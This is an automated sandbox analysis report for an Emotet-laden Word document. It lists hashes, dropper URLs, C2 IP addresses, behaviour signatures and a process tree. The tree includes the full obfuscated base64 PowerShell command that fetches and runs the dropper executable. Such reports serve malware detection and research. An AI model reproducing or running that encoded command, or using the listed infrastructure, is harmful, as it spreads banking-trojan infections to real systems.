Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/09/2020, 19:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_5ab22cc852aaef34ff92b6dfc926ae182c1ca84cc17ddefb9cf2340a73dd7b64_2020-09-18__191207._doc.doc
  • Size 149KB
  • Sample200918-k5farwp232
  • SHA256 5ab22cc852aaef34ff92b6dfc926ae182c1ca84cc17ddefb9cf2340a73dd7b64
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://jpwoodfordco.com/admin/sDs/
  • exe.dropper

    http://luzzeri.com/wp-includes/o9G/
  • exe.dropper

    http://matadebenfica.com/permanente/u/
  • exe.dropper

    https://hapyc.com/wp-content/s/
  • exe.dropper

    https://zycccccc.top/wp-content/lx3/
  • exe.dropper

    https://dezurve.sa/webmail/installer/mqi/
  • exe.dropper

    http://swiftlogisticseg.com/wp-admin/7/

Extracted

Family

  • emotet

C2

  • 91.105.94.200:80

  • 51.38.124.206:80

  • 38.88.126.202:8080

  • 54.37.42.48:8080

  • 189.2.177.210:443

  • 181.30.61.163:443

  • 185.178.10.77:80

  • 199.203.62.165:80

  • 177.73.0.98:443

  • 87.106.46.107:8080

  • 5.196.35.138:7080

  • 5.189.178.202:8080

  • 185.183.16.47:80

  • 78.249.119.122:80

  • 191.182.6.118:80

  • 96.227.52.8:443

  • 186.103.141.250:443

  • 50.28.51.143:8080

  • 111.67.12.221:8080

  • 50.121.220.50:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 6 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_5ab22cc852aaef34ff92b6dfc926ae182c1ca84cc17ddefb9cf2340a73dd7b64_2020-09-18__191207._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABJAHIAeQBsAHkAaQBtAD0AKAAoACcARQBnACcAKwAnAG0AdQBhACcAKQArACcAaAB0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAUgBwAHIAbwBmAGkAbABFAFwAWQByAHoAUgBYAGMAeQBcAEkATwBxAEcAZQBBAHMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBDAFQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAUgBJAHQAYABZAHAAcgBgAE8AdABvAGMAYABPAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAJwArACcAMQAnACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEEAZABiAHgAdgBiADMAIAA9ACAAKAAoACcASAAnACsAJwBwAGEAJwArACcAdQBkAHMAJwApACsAJwAxACcAKQA7ACQASQA1AHEAYgBtAGQAZwA9ACgAKAAnAFAAJwArACcAMgBsACcAKQArACgAJwBlAG8AcgAnACsAJwBrACcAKQApADsAJABPAF8AZwAzAHAANABqAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AFkAJwArACgAJwByAHoAJwArACcAcgAnACkAKwAnAHgAYwB5AHsAMAB9AEkAbwBxAGcAZQAnACsAJwBhAHMAJwArACcAewAnACsAJwAwACcAKwAnAH0AJwApACAAIAAtAGYAIAAgAFsAQwBIAGEAcgBdADkAMgApACsAJABBAGQAYgB4AHYAYgAzACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQARABzAGsAcgAyAGUAbgA9ACgAJwBXACcAKwAoACcAZwA3ACcAKwAnAHoAJwApACsAKAAnAF8AMAAnACsAJwBoACcAKQApADsAJABDAGwANABoAGwANgBhAD0AJgAoACcAbgBlACcAKwAnAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABuAGUAdAAuAFcARQBCAEMAbABpAGUATgB0ADsAJABZAHEAcgBuAHkAYgA2AD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnADoALwAnACsAKAAnAC8AJwArACcAagAnACsAJwBwAHcAbwBvAGQAJwApACsAKAAnAGYAJwArACcAbwAnACsAJwByAGQAYwBvAC4AJwArACcAYwBvAG0ALwBhAGQAbQBpACcAKQArACcAbgAnACsAKAAnAC8AcwAnACsAJwBEACcAKQArACgAJwBzAC8AJwArACcAKgBoACcAKQArACcAdAB0ACcAKwAoACcAcAAnACsAJwA6AC8ALwBsACcAKQArACgAJwB1ACcAKwAnAHoAegAnACsAJwBlAHIAJwArACcAaQAuAGMAbwAnACsAJwBtAC8AdwBwACcAKQArACgAJwAtACcAKwAnAGkAbgBjAGwAdQAnACsAJwBkAGUAcwAvACcAKQArACgAJwBvACcAKwAnADkARwAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACcALwAnACsAJwAvACcAKwAoACcAbQBhAHQAYQAnACsAJwBkACcAKQArACgAJwBlAGIAJwArACcAZQBuACcAKQArACgAJwBmACcAKwAnAGkAYwBhAC4AJwApACsAKAAnAGMAbwAnACsAJwBtACcAKQArACcALwBwACcAKwAoACcAZQByACcAKwAnAG0AYQBuAGUAbgAnACsAJwB0ACcAKQArACgAJwBlAC8AJwArACcAdQAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwBoACcAKwAnAGEAJwApACsAKAAnAHAAeQBjACcAKwAnAC4AYwBvACcAKQArACgAJwBtACcAKwAnAC8AdwBwACcAKQArACgAJwAtAGMAbwBuAHQAJwArACcAZQBuAHQAJwArACcALwAnACsAJwBzAC8AJwArACcAKgBoAHQAdABwAHMAJwApACsAKAAnADoALwAvAHoAeQAnACsAJwBjACcAKwAnAGMAYwAnACkAKwAnAGMAJwArACcAYwAnACsAJwBjACcAKwAnAC4AdAAnACsAJwBvACcAKwAoACcAcAAvAHcAcAAnACsAJwAtACcAKQArACgAJwBjAG8AbgAnACsAJwB0ACcAKQArACcAZQBuACcAKwAnAHQALwAnACsAKAAnAGwAeAAzAC8AJwArACcAKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzADoALwAvAGQAJwApACsAKAAnAGUAegAnACsAJwB1AHIAdgBlAC4AJwArACcAcwBhACcAKQArACgAJwAvAHcAZQBiAG0AYQAnACsAJwBpAGwALwBpACcAKwAnAG4AJwArACcAcwAnACsAJwB0AGEAJwApACsAKAAnAGwAJwArACcAbABlAHIAJwApACsAKAAnAC8AbQBxACcAKwAnAGkALwAnACkAKwAnACoAJwArACcAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAHMAJwArACcAdwBpACcAKwAnAGYAJwArACcAdABsAG8AZwBpACcAKQArACcAcwAnACsAJwB0ACcAKwAoACcAaQAnACsAJwBjAHMAZQBnAC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdwBwAC0AJwApACsAKAAnAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcANwAnACsAJwAvACcAKQAuACIAcwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGcAXwA2ADQAbAA1AD0AKAAnAFoAbAAnACsAKAAnADAAagAnACsAJwA3AHAANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEgAYwBuADAAYQAzADAAIABpAG4AIAAkAFkAcQByAG4AeQBiADYAKQB7AHQAcgB5AHsAJABDAGwANABoAGwANgBhAC4AIgBEAE8AYABXAG4ATABgAG8AYQBEAGYASQBsAEUAIgAoACQASABjAG4AMABhADMAMAAsACAAJABPAF8AZwAzAHAANABqACkAOwAkAEUAbABvAHYAaQBqADIAPQAoACcATQAnACsAJwBsACcAKwAoACcAZwAnACsAJwBnAGkAcwBiACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAE8AXwBnADMAcAA0AGoAKQAuACIAbABFAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADMAMgA1ADUAMAApACAAewAmACgAJwBJACcAKwAnAG4AdgAnACsAJwBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABPAF8AZwAzAHAANABqACkAOwAkAE0AbgBoAHMAcAA5ADYAPQAoACgAJwBFAHIAJwArACcAcQBmACcAKQArACcAZABqACcAKwAnAHAAJwApADsAYgByAGUAYQBrADsAJABCAHQAegB1AHcAdwBzAD0AKAAoACcAVABvAHIAZQB5ACcAKwAnADcAJwApACsAJwByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASQAxAHAAYwB5AG0AMgA9ACgAKAAnAE8AOAAnACsAJwBiADMAJwApACsAJwBsAGMAJwArACcAbgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1536
    • C:\Users\Admin\Yrzrxcy\Ioqgeas\Hpauds1.exe
      "C:\Users\Admin\Yrzrxcy\Ioqgeas\Hpauds1.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1396
      • C:\Windows\SysWOW64\KBDPASH\rshx32.exe
        "C:\Windows\SysWOW64\KBDPASH\rshx32.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:344

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/280-22-0x000007FEF4A10000-0x000007FEF4C8A000-memory.dmp
        Download

        memory/344-20-0x0000000000350000-0x0000000000362000-memory.dmp
        Download

        memory/1124-2-0x00000000089E0000-0x00000000089E4000-memory.dmp
        Download

        memory/1396-15-0x0000000000250000-0x0000000000262000-memory.dmp
        Download

        memory/1396-16-0x0000000000230000-0x0000000000240000-memory.dmp
        Download

        memory/1536-12-0x000000001BB10000-0x000000001BB11000-memory.dmp
        Download

        memory/1536-11-0x000000001AC50000-0x000000001AC51000-memory.dmp
        Download

        memory/1536-10-0x0000000002400000-0x0000000002401000-memory.dmp
        Download

        memory/1536-9-0x0000000002340000-0x0000000002341000-memory.dmp
        Download

        memory/1536-8-0x000000001AD80000-0x000000001AD81000-memory.dmp
        Download

        memory/1536-7-0x0000000002270000-0x0000000002271000-memory.dmp
        Download

        memory/1536-6-0x000007FEE8470000-0x000007FEE8E5C000-memory.dmp
        Download